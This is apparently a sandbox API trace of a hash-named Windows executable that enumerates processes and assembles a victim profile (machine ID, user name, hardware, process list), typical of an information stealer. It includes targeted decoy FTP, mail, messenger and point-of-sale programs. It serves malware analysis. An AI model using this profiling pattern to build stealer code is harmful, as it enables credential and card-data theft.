[0054.936] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x26c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
[0054.937] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da88
[0054.937] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.937] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x358, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
[0054.938] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da58
[0054.938] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.938] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x358, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
[0054.940] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d978
[0054.940] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.940] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x126c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x388, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
[0054.941] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da28
[0054.941] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.941] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x12ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe")) returned 1
[0054.942] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d998
[0054.942] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.942] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x26c, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1
[0054.943] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67db08
[0054.943] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.943] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x670f2c, th32ProcessID=0x8e00018f, th32DefaultHeapID=0x463100, th32ModuleID=0x18208c, cntThreads=0x4, th32ParentProcessID=0x15000015, pcPriClassBase=0, dwFlags=0x1a00001a, szExeFile="?\x18")) returned 0
[0054.944] CloseHandle (hObject=0x508) returned 1
[0054.944] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n"
[0054.944] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n", lpString2="[Software]" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]"
[0054.944] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe 